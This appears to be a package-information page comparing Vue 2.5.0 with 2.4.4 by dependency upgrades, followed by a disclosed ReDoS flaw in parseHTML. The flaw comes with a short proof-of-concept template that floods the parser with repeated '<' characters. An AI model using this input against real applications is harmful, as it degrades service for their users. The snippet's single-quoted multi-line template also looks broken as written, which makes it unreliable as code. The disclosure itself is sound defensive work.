Vue 2.5.0 arrives as a refined iteration over version 2.4.4, offering developers subtle but impactful improvements for building modern web interfaces. Both versions share the core philosophy of being a reactive, component-oriented view layer. One of the first things that developers will notice is a shift in the dependency versions. Version 2.5.0 sees updates to several key development dependencies, reflecting ongoing efforts to enhance the development environment. Buble moves from 0.15.2 to 0.16.0, and Rollup jumps from 0.45.1 to 0.50.0, representing advancements in JavaScript transpilation and bundling, respectively. TypeScript receives a notable upgrade from 2.3.4 to 2.5.2, promising better type checking and support for newer language features. Several other packages also receive updates, ensuring compatibility and potentially incorporating bug fixes and performance enhancements.
Rollup plugins receive some updates, with rollup-plugin-babel updated from 2.7.1 to 3.0.2 and rollup-plugin-replace jumping from 1.1.1 to 2.0.0. weex-js-runtime receives an update from 0.20.5 to 0.22.0, which hints at better support for the Weex platform for mobile development. One dependency, weex-vdom-tester, present in 2.4.4, is absent in 2.5.0, which might signal changes to the testing strategy for Weex components. Developers should take note of these dependency changes when upgrading, ensuring their build process remains compatible and benefits from the latest tooling improvements. Vue continues to evolve, focusing on developer experience through updated dependencies and subtle refinements, solidifying its position as a leading framework for building engaging web applications.
All the vulnerabilities related to the version 2.5.0 of the package
ReDoS vulnerability in vue package that is exploitable through inefficient regex evaluation in the parseHTML function
The ReDoS can be exploited through the parseHTML function in the html-parser.ts file. This flaw allows attackers to slow down the application by providing specially crafted input that causes inefficient processing of regular expressions, leading to excessive resource consumption.
To demonstrate this vulnerability, here's an example. In a Vue client-side application, create a new Vue instance with a template string that includes a <script> tag but closes it incorrectly with something like </textarea>.
new Vue({
el: '#app',
template: '
<div>
Hello, world!
<script>${'<'.repeat(1000000)}</textarea>
</div>'
});
Next, set up a basic HTML page (e.g., index.html) to load this JavaScript and mount the Vue instance:
<!DOCTYPE html>
<html>
<head>
<title>My first Vue app</title>
</head>
<body>
<div id=\"app\">Loading...</div>
</body>
</html>
When you visit the app in your browser at http://localhost:3000, you'll notice that the time taken to parse and mount the Vue application increases significantly due to the ReDoS vulnerability, demonstrating how the flaw can affect performance.